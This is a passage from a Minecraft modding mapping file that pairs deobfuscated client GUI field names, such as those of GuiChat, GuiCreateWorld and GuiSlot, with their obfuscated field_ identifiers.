net/minecraft/client/gui/GuiTextField/field_146223_s +FD: net/minecraft/client/gui/GuiTextField/enabledColor net/minecraft/client/gui/GuiTextField/field_146222_t +FD: net/minecraft/client/gui/GuiTextField/disabledColor net/minecraft/client/gui/GuiTextField/field_146221_u +FD: net/minecraft/client/gui/GuiTextField/visible net/minecraft/client/gui/GuiTextField/field_146220_v +FD: net/minecraft/client/gui/GuiTextField/field_175210_x net/minecraft/client/gui/GuiTextField/field_175210_x +FD: net/minecraft/client/gui/GuiTextField/validator net/minecraft/client/gui/GuiTextField/field_175209_y +FD: net/minecraft/client/gui/GuiSlider/isMouseDown net/minecraft/client/gui/GuiSlider/field_175228_o +FD: net/minecraft/client/gui/GuiSlider/sliderPosition net/minecraft/client/gui/GuiSlider/field_175227_p +FD: net/minecraft/client/gui/GuiSlider/name net/minecraft/client/gui/GuiSlider/field_175226_q +FD: net/minecraft/client/gui/GuiSlider/min net/minecraft/client/gui/GuiSlider/field_175225_r +FD: net/minecraft/client/gui/GuiSlider/max net/minecraft/client/gui/GuiSlider/field_175224_s +FD: net/minecraft/client/gui/GuiSlider/responder net/minecraft/client/gui/GuiSlider/field_175223_t +FD: net/minecraft/client/gui/GuiSlider/formatHelper net/minecraft/client/gui/GuiSlider/field_175222_u +FD: net/minecraft/client/gui/GuiLabel/field_146167_a net/minecraft/client/gui/GuiLabel/field_146167_a +FD: net/minecraft/client/gui/GuiLabel/field_146161_f net/minecraft/client/gui/GuiLabel/field_146161_f +FD: net/minecraft/client/gui/GuiLabel/field_146162_g net/minecraft/client/gui/GuiLabel/field_146162_g +FD: net/minecraft/client/gui/GuiLabel/field_146174_h net/minecraft/client/gui/GuiLabel/field_146174_h +FD: net/minecraft/client/gui/GuiLabel/field_175204_i net/minecraft/client/gui/GuiLabel/field_175204_i +FD: net/minecraft/client/gui/GuiLabel/visible net/minecraft/client/gui/GuiLabel/field_146172_j +FD: net/minecraft/client/gui/GuiLabel/field_146173_k net/minecraft/client/gui/GuiLabel/field_146173_k +FD: net/minecraft/client/gui/GuiLabel/centered net/minecraft/client/gui/GuiLabel/field_146170_l +FD: net/minecraft/client/gui/GuiLabel/labelBgEnabled net/minecraft/client/gui/GuiLabel/field_146171_m +FD: net/minecraft/client/gui/GuiLabel/field_146168_n net/minecraft/client/gui/GuiLabel/field_146168_n +FD: net/minecraft/client/gui/GuiLabel/field_146169_o net/minecraft/client/gui/GuiLabel/field_146169_o +FD: net/minecraft/client/gui/GuiLabel/field_146166_p net/minecraft/client/gui/GuiLabel/field_146166_p +FD: net/minecraft/client/gui/GuiLabel/field_146165_q net/minecraft/client/gui/GuiLabel/field_146165_q +FD: net/minecraft/client/gui/GuiLabel/fontRenderer net/minecraft/client/gui/GuiLabel/field_146164_r +FD: net/minecraft/client/gui/GuiLabel/field_146163_s net/minecraft/client/gui/GuiLabel/field_146163_s +FD: net/minecraft/client/gui/GuiListButton/field_175216_o net/minecraft/client/gui/GuiListButton/field_175216_o +FD: net/minecraft/client/gui/GuiListButton/localizationStr net/minecraft/client/gui/GuiListButton/field_175215_p +FD: net/minecraft/client/gui/GuiListButton/guiResponder net/minecraft/client/gui/GuiListButton/field_175214_q +FD: net/minecraft/client/gui/GuiLockIconButton$Icon/LOCKED net/minecraft/client/gui/GuiLockIconButton$Icon/LOCKED +FD: net/minecraft/client/gui/GuiLockIconButton$Icon/LOCKED_HOVER net/minecraft/client/gui/GuiLockIconButton$Icon/LOCKED_HOVER +FD: net/minecraft/client/gui/GuiLockIconButton$Icon/LOCKED_DISABLED net/minecraft/client/gui/GuiLockIconButton$Icon/LOCKED_DISABLED +FD: net/minecraft/client/gui/GuiLockIconButton$Icon/UNLOCKED net/minecraft/client/gui/GuiLockIconButton$Icon/UNLOCKED +FD: net/minecraft/client/gui/GuiLockIconButton$Icon/UNLOCKED_HOVER net/minecraft/client/gui/GuiLockIconButton$Icon/UNLOCKED_HOVER +FD: net/minecraft/client/gui/GuiLockIconButton$Icon/UNLOCKED_DISABLED net/minecraft/client/gui/GuiLockIconButton$Icon/UNLOCKED_DISABLED +FD: net/minecraft/client/gui/GuiLockIconButton$Icon/field_178914_g net/minecraft/client/gui/GuiLockIconButton$Icon/field_178914_g +FD: net/minecraft/client/gui/GuiLockIconButton$Icon/field_178920_h net/minecraft/client/gui/GuiLockIconButton$Icon/field_178920_h +FD: net/minecraft/client/gui/GuiLockIconButton$Icon/$VALUES net/minecraft/client/gui/GuiLockIconButton$Icon/$VALUES +FD: net/minecraft/client/gui/GuiLockIconButton/field_175231_o net/minecraft/client/gui/GuiLockIconButton/field_175231_o +FD: net/minecraft/client/gui/GuiOptionButton/enumOptions net/minecraft/client/gui/GuiOptionButton/field_146137_o +FD: net/minecraft/client/gui/GuiOptionsRowList$Row/field_148325_a net/minecraft/client/gui/GuiOptionsRowList$Row/field_148325_a +FD: net/minecraft/client/gui/GuiOptionsRowList$Row/field_148323_b net/minecraft/client/gui/GuiOptionsRowList$Row/field_148323_b +FD: net/minecraft/client/gui/GuiOptionsRowList$Row/field_148324_c net/minecraft/client/gui/GuiOptionsRowList$Row/field_148324_c +FD: net/minecraft/client/gui/GuiOptionsRowList/field_148184_k net/minecraft/client/gui/GuiOptionsRowList/field_148184_k +FD: net/minecraft/client/gui/GuiPageButtonList$GuiButtonEntry/field_178941_a net/minecraft/client/gui/GuiPageButtonList$GuiButtonEntry/field_178941_a +FD: net/minecraft/client/gui/GuiPageButtonList$EditBoxEntry/field_178951_a net/minecraft/client/gui/GuiPageButtonList$EditBoxEntry/field_178951_a +FD: net/minecraft/client/gui/GuiPageButtonList$GuiEntry/field_178031_a net/minecraft/client/gui/GuiPageButtonList$GuiEntry/field_178031_a +FD: net/minecraft/client/gui/GuiPageButtonList$GuiEntry/field_178029_b net/minecraft/client/gui/GuiPageButtonList$GuiEntry/field_178029_b +FD: net/minecraft/client/gui/GuiPageButtonList$GuiEntry/field_178030_c net/minecraft/client/gui/GuiPageButtonList$GuiEntry/field_178030_c +FD: net/minecraft/client/gui/GuiPageButtonList$GuiEntry/field_178028_d net/minecraft/client/gui/GuiPageButtonList$GuiEntry/field_178028_d +FD: net/minecraft/client/gui/GuiPageButtonList$GuiListEntry/field_178939_a net/minecraft/client/gui/GuiPageButtonList$GuiListEntry/field_178939_a +FD: net/minecraft/client/gui/GuiPageButtonList$GuiListEntry/field_178937_b net/minecraft/client/gui/GuiPageButtonList$GuiListEntry/field_178937_b +FD: net/minecraft/client/gui/GuiPageButtonList$GuiListEntry/field_178938_c net/minecraft/client/gui/GuiPageButtonList$GuiListEntry/field_178938_c +FD: net/minecraft/client/gui/GuiPageButtonList$GuiSlideEntry/field_178949_a net/minecraft/client/gui/GuiPageButtonList$GuiSlideEntry/field_178949_a +FD: net/minecraft/client/gui/GuiPageButtonList$GuiSlideEntry/field_178947_b net/minecraft/client/gui/GuiPageButtonList$GuiSlideEntry/field_178947_b +FD: net/minecraft/client/gui/GuiPageButtonList$GuiSlideEntry/field_178948_c net/minecraft/client/gui/GuiPageButtonList$GuiSlideEntry/field_178948_c +FD: net/minecraft/client/gui/GuiPageButtonList$GuiSlideEntry/field_178946_d net/minecraft/client/gui/GuiPageButtonList$GuiSlideEntry/field_178946_d +FD: net/minecraft/client/gui/GuiPageButtonList/field_178075_A net/minecraft/client/gui/GuiPageButtonList/field_178075_A +FD: net/minecraft/client/gui/GuiPageButtonList/field_178074_u net/minecraft/client/gui/GuiPageButtonList/field_178074_u +FD: net/minecraft/client/gui/GuiPageButtonList/field_178073_v net/minecraft/client/gui/GuiPageButtonList/field_178073_v +FD: net/minecraft/client/gui/GuiPageButtonList/field_178072_w net/minecraft/client/gui/GuiPageButtonList/field_178072_w +FD: net/minecraft/client/gui/GuiPageButtonList/field_178078_x net/minecraft/client/gui/GuiPageButtonList/field_178078_x +FD: net/minecraft/client/gui/GuiPageButtonList/field_178077_y net/minecraft/client/gui/GuiPageButtonList/field_178077_y +FD: net/minecraft/client/gui/GuiPageButtonList/field_178076_z net/minecraft/client/gui/GuiPageButtonList/field_178076_z +FD: net/minecraft/client/gui/GuiPlayerTabOverlay/field_175252_a net/minecraft/client/gui/GuiPlayerTabOverlay/field_175252_a +FD: net/minecraft/client/gui/GuiPlayerTabOverlay/mc net/minecraft/client/gui/GuiPlayerTabOverlay/field_175250_f +FD: net/minecraft/client/gui/GuiPlayerTabOverlay/guiIngame net/minecraft/client/gui/GuiPlayerTabOverlay/field_175251_g +FD: net/minecraft/client/gui/GuiPlayerTabOverlay/footer net/minecraft/client/gui/GuiPlayerTabOverlay/field_175255_h +FD: net/minecraft/client/gui/GuiPlayerTabOverlay/header net/minecraft/client/gui/GuiPlayerTabOverlay/field_175256_i +FD: net/minecraft/client/gui/GuiPlayerTabOverlay/lastTimeOpened net/minecraft/client/gui/GuiPlayerTabOverlay/field_175253_j +FD: net/minecraft/client/gui/GuiPlayerTabOverlay/isBeingRendered net/minecraft/client/gui/GuiPlayerTabOverlay/field_175254_k +FD: net/minecraft/client/gui/GuiSlot/mc net/minecraft/client/gui/GuiSlot/field_148161_k +FD: net/minecraft/client/gui/GuiSlot/width net/minecraft/client/gui/GuiSlot/field_148155_a +FD: net/minecraft/client/gui/GuiSlot/height net/minecraft/client/gui/GuiSlot/field_148158_l +FD: net/minecraft/client/gui/GuiSlot/top net/minecraft/client/gui/GuiSlot/field_148153_b +FD: net/minecraft/client/gui/GuiSlot/bottom net/minecraft/client/gui/GuiSlot/field_148154_c +FD: net/minecraft/client/gui/GuiSlot/right net/minecraft/client/gui/GuiSlot/field_148151_d +FD: net/minecraft/client/gui/GuiSlot/left net/minecraft/client/gui/GuiSlot/field_148152_e +FD: net/minecraft/client/gui/GuiSlot/slotHeight net/minecraft/client/gui/GuiSlot/field_148149_f +FD: net/minecraft/client/gui/GuiSlot/mouseX net/minecraft/client/gui/GuiSlot/field_148150_g +FD: net/minecraft/client/gui/GuiSlot/mouseY net/minecraft/client/gui/GuiSlot/field_148162_h +FD: net/minecraft/client/gui/GuiSlot/field_148163_i net/minecraft/client/gui/GuiSlot/field_148163_i +FD: net/minecraft/client/gui/GuiSlot/initialClickY net/minecraft/client/gui/GuiSlot/field_148157_o +FD: net/minecraft/client/gui/GuiSlot/scrollMultiplier net/minecraft/client/gui/GuiSlot/field_148170_p +FD: net/minecraft/client/gui/GuiSlot/amountScrolled net/minecraft/client/gui/GuiSlot/field_148169_q +FD: net/minecraft/client/gui/GuiSlot/selectedElement net/minecraft/client/gui/GuiSlot/field_148168_r +FD: net/minecraft/client/gui/GuiSlot/lastClicked net/minecraft/client/gui/GuiSlot/field_148167_s +FD: net/minecraft/client/gui/GuiSlot/field_178041_q net/minecraft/client/gui/GuiSlot/field_178041_q +FD: net/minecraft/client/gui/GuiSlot/showSelectionBox net/minecraft/client/gui/GuiSlot/field_148166_t +FD: net/minecraft/client/gui/GuiSlot/hasListHeader net/minecraft/client/gui/GuiSlot/field_148165_u +FD: net/minecraft/client/gui/GuiSlot/headerPadding net/minecraft/client/gui/GuiSlot/field_148160_j +FD: net/minecraft/client/gui/GuiSlot/scrollUpButtonID net/minecraft/client/gui/GuiSlot/field_148159_m +FD: net/minecraft/client/gui/GuiSlot/scrollDownButtonID net/minecraft/client/gui/GuiSlot/field_148156_n +FD: net/minecraft/client/gui/GuiSlot/enabled net/minecraft/client/gui/GuiSlot/field_148164_v +FD: net/minecraft/client/gui/GuiOptionSlider/dragging net/minecraft/client/gui/GuiOptionSlider/field_146135_o +FD: net/minecraft/client/gui/GuiOptionSlider/sliderValue net/minecraft/client/gui/GuiOptionSlider/field_146134_p +FD: net/minecraft/client/gui/GuiOptionSlider/options net/minecraft/client/gui/GuiOptionSlider/field_146133_q +FD: net/minecraft/client/gui/GuiOptionSlider/field_146132_r net/minecraft/client/gui/GuiOptionSlider/field_146132_r +FD: net/minecraft/client/gui/GuiOptionSlider/field_146131_s net/minecraft/client/gui/GuiOptionSlider/field_146131_s +FD: net/minecraft/client/gui/GuiStreamIndicator/locationStreamIndicator net/minecraft/client/gui/GuiStreamIndicator/field_152441_a +FD: net/minecraft/client/gui/GuiStreamIndicator/mc net/minecraft/client/gui/GuiStreamIndicator/field_152442_b +FD: net/minecraft/client/gui/GuiStreamIndicator/streamAlpha net/minecraft/client/gui/GuiStreamIndicator/field_152443_c +FD: net/minecraft/client/gui/GuiStreamIndicator/streamAlphaDelta net/minecraft/client/gui/GuiStreamIndicator/field_152444_d +FD: net/minecraft/client/gui/GuiSpectator/field_175269_a net/minecraft/client/gui/GuiSpectator/field_175269_a +FD: net/minecraft/client/gui/GuiSpectator/field_175267_f net/minecraft/client/gui/GuiSpectator/field_175267_f +FD: net/minecraft/client/gui/GuiSpectator/field_175268_g net/minecraft/client/gui/GuiSpectator/field_175268_g +FD: net/minecraft/client/gui/GuiSpectator/field_175270_h net/minecraft/client/gui/GuiSpectator/field_175270_h +FD: net/minecraft/client/gui/GuiSpectator/field_175271_i net/minecraft/client/gui/GuiSpectator/field_175271_i +FD: net/minecraft/client/gui/GuiButtonRealmsProxy/realmsButton net/minecraft/client/gui/GuiButtonRealmsProxy/field_154318_o +FD: net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy/field_178046_u net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy/field_178046_u +FD: net/minecraft/client/gui/GuiScreenRealmsProxy/field_154330_a net/minecraft/client/gui/GuiScreenRealmsProxy/field_154330_a +FD: net/minecraft/client/gui/GuiSlotRealmsProxy/selectionList net/minecraft/client/gui/GuiSlotRealmsProxy/field_154340_k +FD: net/minecraft/client/gui/GuiSimpleScrolledSelectionListProxy/field_178050_u net/minecraft/client/gui/GuiSimpleScrolledSelectionListProxy/field_178050_u +FD: net/minecraft/client/gui/ScreenChatOptions/field_146399_a net/minecraft/client/gui/ScreenChatOptions/field_146399_a +FD: net/minecraft/client/gui/ScreenChatOptions/parentScreen net/minecraft/client/gui/ScreenChatOptions/field_146396_g +FD: net/minecraft/client/gui/ScreenChatOptions/game_settings net/minecraft/client/gui/ScreenChatOptions/field_146400_h +FD: net/minecraft/client/gui/ScreenChatOptions/field_146401_i net/minecraft/client/gui/ScreenChatOptions/field_146401_i +FD: net/minecraft/client/gui/GuiChat/inputField net/minecraft/client/gui/GuiChat/field_146415_a +FD: net/minecraft/client/gui/GuiChat/logger net/minecraft/client/gui/GuiChat/field_146408_f +FD: net/minecraft/client/gui/GuiChat/historyBuffer net/minecraft/client/gui/GuiChat/field_146410_g +FD: net/minecraft/client/gui/GuiChat/sentHistoryCursor net/minecraft/client/gui/GuiChat/field_146416_h +FD: net/minecraft/client/gui/GuiChat/playerNamesFound net/minecraft/client/gui/GuiChat/field_146417_i +FD: net/minecraft/client/gui/GuiChat/waitingOnAutocomplete net/minecraft/client/gui/GuiChat/field_146414_r +FD: net/minecraft/client/gui/GuiChat/autocompleteIndex net/minecraft/client/gui/GuiChat/field_146413_s +FD: net/minecraft/client/gui/GuiChat/foundPlayerNames net/minecraft/client/gui/GuiChat/field_146412_t +FD: net/minecraft/client/gui/GuiChat/defaultInputFieldText net/minecraft/client/gui/GuiChat/field_146409_v +FD: net/minecraft/client/gui/GuiConfirmOpenLink/openLinkWarning net/minecraft/client/gui/GuiConfirmOpenLink/field_146363_r +FD: net/minecraft/client/gui/GuiConfirmOpenLink/copyLinkButtonText net/minecraft/client/gui/GuiConfirmOpenLink/field_146362_s +FD: net/minecraft/client/gui/GuiConfirmOpenLink/linkText net/minecraft/client/gui/GuiConfirmOpenLink/field_146361_t +FD: net/minecraft/client/gui/GuiConfirmOpenLink/showSecurityWarning net/minecraft/client/gui/GuiConfirmOpenLink/field_146360_u +FD: net/minecraft/client/gui/GuiYesNo/parentScreen net/minecraft/client/gui/GuiYesNo/field_146355_a +FD: net/minecraft/client/gui/GuiYesNo/messageLine1 net/minecraft/client/gui/GuiYesNo/field_146351_f +FD: net/minecraft/client/gui/GuiYesNo/confirmButtonText net/minecraft/client/gui/GuiYesNo/field_146352_g +FD: net/minecraft/client/gui/GuiYesNo/cancelButtonText net/minecraft/client/gui/GuiYesNo/field_146356_h +FD: net/minecraft/client/gui/GuiYesNo/parentButtonClickedId net/minecraft/client/gui/GuiYesNo/field_146357_i +FD: net/minecraft/client/gui/GuiYesNo/messageLine2 net/minecraft/client/gui/GuiYesNo/field_146354_r +FD: net/minecraft/client/gui/GuiYesNo/field_175298_s net/minecraft/client/gui/GuiYesNo/field_175298_s +FD: net/minecraft/client/gui/GuiYesNo/ticksUntilEnable net/minecraft/client/gui/GuiYesNo/field_146353_s +FD: net/minecraft/client/multiplayer/GuiConnecting$1/field_148231_a net/minecraft/client/multiplayer/GuiConnecting$1/field_148231_a +FD: net/minecraft/client/multiplayer/GuiConnecting$1/field_148229_b net/minecraft/client/multiplayer/GuiConnecting$1/field_148229_b +FD: net/minecraft/client/multiplayer/GuiConnecting$1/field_148230_c net/minecraft/client/multiplayer/GuiConnecting$1/field_148230_c +FD: net/minecraft/client/multiplayer/GuiConnecting/CONNECTION_ID net/minecraft/client/multiplayer/GuiConnecting/field_146372_a +FD: net/minecraft/client/multiplayer/GuiConnecting/logger net/minecraft/client/multiplayer/GuiConnecting/field_146370_f +FD: net/minecraft/client/multiplayer/GuiConnecting/networkManager net/minecraft/client/multiplayer/GuiConnecting/field_146371_g +FD: net/minecraft/client/multiplayer/GuiConnecting/cancel net/minecraft/client/multiplayer/GuiConnecting/field_146373_h +FD: net/minecraft/client/multiplayer/GuiConnecting/previousGuiScreen net/minecraft/client/multiplayer/GuiConnecting/field_146374_i +FD: net/minecraft/command/CommandReplaceItem/SHORTCUTS net/minecraft/command/CommandReplaceItem/field_175785_a +FD: net/minecraft/client/gui/GuiCreateFlatWorld$Details/field_148228_k net/minecraft/client/gui/GuiCreateFlatWorld$Details/field_148228_k +FD: net/minecraft/client/gui/GuiCreateFlatWorld$Details/field_148227_l net/minecraft/client/gui/GuiCreateFlatWorld$Details/field_148227_l +FD: net/minecraft/client/gui/GuiCreateFlatWorld/createWorldGui net/minecraft/client/gui/GuiCreateFlatWorld/field_146385_f +FD: net/minecraft/client/gui/GuiCreateFlatWorld/theFlatGeneratorInfo net/minecraft/client/gui/GuiCreateFlatWorld/field_146387_g +FD: net/minecraft/client/gui/GuiCreateFlatWorld/flatWorldTitle net/minecraft/client/gui/GuiCreateFlatWorld/field_146393_h +FD: net/minecraft/client/gui/GuiCreateFlatWorld/field_146394_i net/minecraft/client/gui/GuiCreateFlatWorld/field_146394_i +FD: net/minecraft/client/gui/GuiCreateFlatWorld/field_146391_r net/minecraft/client/gui/GuiCreateFlatWorld/field_146391_r +FD: net/minecraft/client/gui/GuiCreateFlatWorld/createFlatWorldListSlotGui net/minecraft/client/gui/GuiCreateFlatWorld/field_146390_s +FD: net/minecraft/client/gui/GuiCreateFlatWorld/field_146389_t net/minecraft/client/gui/GuiCreateFlatWorld/field_146389_t +FD: net/minecraft/client/gui/GuiCreateFlatWorld/field_146388_u net/minecraft/client/gui/GuiCreateFlatWorld/field_146388_u +FD: net/minecraft/client/gui/GuiCreateFlatWorld/field_146386_v net/minecraft/client/gui/GuiCreateFlatWorld/field_146386_v +FD: net/minecraft/client/gui/GuiCreateWorld/btnGameMode net/minecraft/client/gui/GuiCreateWorld/field_146343_z +FD: net/minecraft/client/gui/GuiCreateWorld/btnMoreOptions net/minecraft/client/gui/GuiCreateWorld/field_146324_A +FD: net/minecraft/client/gui/GuiCreateWorld/btnMapFeatures net/minecraft/client/gui/GuiCreateWorld/field_146325_B +FD: net/minecraft/client/gui/GuiCreateWorld/btnBonusItems net/minecraft/client/gui/GuiCreateWorld/field_146326_C +FD: net/minecraft/client/gui/GuiCreateWorld/btnMapType net/minecraft/client/gui/GuiCreateWorld/field_146320_D +FD: net/minecraft/client/gui/GuiCreateWorld/btnAllowCommands net/minecraft/client/gui/GuiCreateWorld/field_146321_E +FD: net/minecraft/client/gui/GuiCreateWorld/btnCustomizeType net/minecraft/client/gui/GuiCreateWorld/field_146322_F +FD: net/minecraft/client/gui/GuiCreateWorld/gameModeDesc1 net/minecraft/client/gui/GuiCreateWorld/field_146323_G +FD: net/minecraft/client/gui/GuiCreateWorld/gameModeDesc2 net/minecraft/client/gui/GuiCreateWorld/field_146328_H +FD: net/minecraft/client/gui/GuiCreateWorld/worldSeed net/minecraft/client/gui/GuiCreateWorld/field_146329_I +FD: net/minecraft/client/gui/GuiCreateWorld/worldName net/minecraft/client/gui/GuiCreateWorld/field_146330_J +FD: net/minecraft/client/gui/GuiCreateWorld/selectedIndex net/minecraft/client/gui/GuiCreateWorld/field_146331_K +FD: net/minecraft/client/gui/GuiCreateWorld/disallowedFilenames net/minecraft/client/gui/GuiCreateWorld/field_146327_L +FD: net/minecraft/client/gui/GuiCreateWorld/chunkProviderSettingsJson net/minecraft/client/gui/GuiCreateWorld/field_146334_a +FD: net/minecraft/client/gui/GuiCreateWorld/parentScreen net/minecraft/client/gui/GuiCreateWorld/field_146332_f +FD: net/minecraft/client/gui/GuiCreateWorld/worldNameField net/minecraft/client/gui/GuiCreateWorld/field_146333_g +FD: net/minecraft/client/gui/GuiCreateWorld/worldSeedField net/minecraft/client/gui/GuiCreateWorld/field_146335_h +FD: net/minecraft/client/gui/GuiCreateWorld/saveDirName net/minecraft/client/gui/GuiCreateWorld/field_146336_i +FD: net/minecraft/client/gui/GuiCreateWorld/gameMode net/minecraft/client/gui/GuiCreateWorld/field_146342_r +FD: net/minecraft/client/gui/GuiCreateWorld/savedGameMode net/minecraft/client/gui/GuiCreateWorld/field_175300_s +FD: net/minecraft/client/gui/GuiCreateWorld/generateStructuresEnabled net/minecraft/client/gui/GuiCreateWorld/field_146341_s +FD: net/minecraft/client/gui/GuiCreateWorld/allowCheats net/minecraft/client/gui/GuiCreateWorld/field_146340_t +FD: net/minecraft/client/gui/GuiCreateWorld/allowCheatsWasSetByUser net/minecraft/client/gui/GuiCreateWorld/field_146339_u +FD: net/minecraft/client/gui/GuiCreateWorld/bonusChestEnabled net/minecraft/client/gui/GuiCreateWorld/field_146338_v +FD: net/minecraft/client/gui/GuiCreateWorld/hardCoreMode net/minecraft/client/gui/GuiCreateWorld/field_146337_w +FD: net/minecraft/client/gui/GuiCreateWorld/alreadyGenerated net/minecraft/client/gui/GuiCreateWorld/field_146345_x +FD: net/minecraft/client/gui/GuiCreateWorld/inMoreWorldOptionsDisplay net/minecraft/client/gui/GuiCreateWorld/field_146344_y +FD: net/minecraft/client/gui/GuiScreenCustomizePresets$Info/field_178955_a net/minecraft/client/gui/GuiScreenCustomizePresets$Info/field_178955_a +FD: net/minecraft/client/gui/GuiScreenCustomizePresets$Info/field_178953_b net/minecraft/client/gui/GuiScreenCustomizePresets$Info/field_178953_b +FD: net/minecraft/client/gui/GuiScreenCustomizePresets$Info/field_178954_c net/minecraft/client/gui/GuiScreenCustomizePresets$Info/field_178954_c +FD: net/minecraft/client/gui/GuiScreenCustomizePresets$ListPreset/field_178053_u net/minecraft/client/gui/GuiScreenCustomizePresets$ListPreset/field_178053_u +FD: net/minecraft/client/gui/GuiScreenCustomizePresets$ListPreset/field_178052_v net/minecraft/client/gui/GuiScreenCustomizePresets$ListPreset/field_178052_v +FD: net/minecraft/client/gui/GuiScreenCustomizePresets/field_175315_a net/minecraft/client/gui/GuiScreenCustomizePresets/field_175315_a +FD: net/minecraft/client/gui/GuiScreenCustomizePresets/field_175310_f net/minecraft/client/gui/GuiScreenCustomizePresets/field_175310_f +FD: net/minecraft/client/gui/GuiScreenCustomizePresets/field_175311_g net/minecraft/client/gui/GuiScreenCustomizePresets/field_175311_g +FD: net/minecraft/client/gui/GuiScreenCustomizePresets/field_175316_h net/minecraft/client/gui/GuiScreenCustomizePresets/field_175316_h +FD: net/minecraft/client/gui/GuiScreenCustomizePresets/field_175317_i net/minecraft/client/gui/GuiScreenCustomizePresets/field_175317_i +FD: net/minecraft/client/gui/GuiScreenCustomizePresets/field_175314_r net/minecraft/client/gui/GuiScreenCustomizePresets/field_175314_r +FD: net/minecraft/client/gui/GuiScreenCustomizePresets/field_175313_s net/minecraft/client/gui/GuiScreenCustomizePresets/field_175313_s +FD: net/minecraft/client/gui/GuiScreenCustomizePresets/field_175312_t net/minecraft/client/gui/GuiScreenCustomizePresets/field_175312_t +FD: net/minecraft/client/gui/GuiCustomizeWorldScreen$1/field_178957_a net/minecraft/client/gui/GuiCustomizeWorldScreen$1/field_178957_a +FD: net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175338_A net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175338_A +FD: net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175339_B net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175339_B +FD: net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175340_C net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175340_C +FD: net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175332_D net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175332_D +FD: net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175334_E net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175334_E +FD: net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175336_F net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175336_F +FD: net/minecraft/client/gui/GuiCustomizeWorldScreen/random net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175337_G +FD: net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175341_a net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175341_a +FD: net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175333_f net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175333_f +FD: net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175335_g net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175335_g +FD: net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175342_h net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175342_h +FD: net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175343_i net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175343_i +FD: net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175349_r net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175349_r +FD: net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175348_s net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175348_s +FD: net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175347_t net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175347_t +FD: net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175346_u net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175346_u +FD: net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175345_v net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175345_v +FD: net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175344_w net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175344_w +FD: net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175352_x net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175352_x +FD: net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175351_y net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175351_y +FD: net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175350_z net/minecraft/client/gui/GuiCustomizeWorldScreen/field_175350_z +FD: net/minecraft/client/gui/GuiGameOver/enableButtonsTimer net/minecraft/client/gui/GuiGameOver/field_146347_a +FD: net/minecraft/client/gui/GuiGameOver/field_146346_f net/minecraft/client/gui/GuiGameOver/field_146346_f +FD: net/minecraft/client/gui/GuiScreenDemo/logger net/minecraft/client/gui/GuiScreenDemo/field_146349_a +FD: net/minecraft/client/gui/GuiScreenDemo/field_146348_f net/minecraft/client/gui/GuiScreenDemo/field_146348_f +FD: net/minecraft/client/gui/GuiScreenServerList/field_146303_a net/minecraft/client/gui/GuiScreenServerList/field_146303_a +FD: net/minecraft/client/gui/GuiScreenServerList/field_146301_f net/minecraft/client/gui/GuiScreenServerList/field_146301_f +FD: net/minecraft/client/gui/GuiScreenServerList/field_146302_g net/minecraft/client/gui/GuiScreenServerList/field_146302_g +FD: net/minecraft/client/gui/GuiDisconnected/reason net/minecraft/client/gui/GuiDisconnected/field_146306_a +FD: net/minecraft/client/gui/GuiDisconnected/message net/minecraft/client/gui/GuiDisconnected/field_146304_f +FD: net/minecraft/client/gui/GuiDisconnected/multilineMessage net/minecraft/client/gui/GuiDisconnected/field_146305_g +FD: net/minecraft/client/gui/GuiDisconnected/parentScreen net/minecraft/client/gui/GuiDisconnected/field_146307_h +FD: net/minecraft/client/gui/GuiDisconnected/field_175353_i net/minecraft/client/gui/GuiDisconnected/field_175353_i +FD: net/minecraft/client/gui/GuiScreenAddServer$1/field_181167_a net/minecraft/client/gui/GuiScreenAddServer$1/field_181167_a +FD: net/minecraft/client/gui/GuiScreenAddServer/parentScreen net/minecraft/client/gui/GuiScreenAddServer/field_146310_a +FD: net/minecraft/client/gui/GuiScreenAddServer/serverData net/minecraft/client/gui/GuiScreenAddServer/field_146311_h +FD: net/minecraft/client/gui/GuiScreenAddServer/serverIPField net/minecraft/client/gui/GuiScreenAddServer/field_146308_f +FD: net/minecraft/client/gui/GuiScreenAddServer/serverNameField net/minecraft/client/gui/GuiScreenAddServer/field_146309_g +FD: net/minecraft/client/gui/GuiScreenAddServer/serverResourcePacks net/minecraft/client/gui/GuiScreenAddServer/field_152176_i +FD: net/minecraft/client/gui/GuiScreenAddServer/field_181032_r net/minecraft/client/gui/GuiScreenAddServer/field_181032_r +FD: net/minecraft/client/gui/GuiErrorScreen/field_146313_a net/minecraft/client/gui/GuiErrorScreen/field_146313_a +FD: 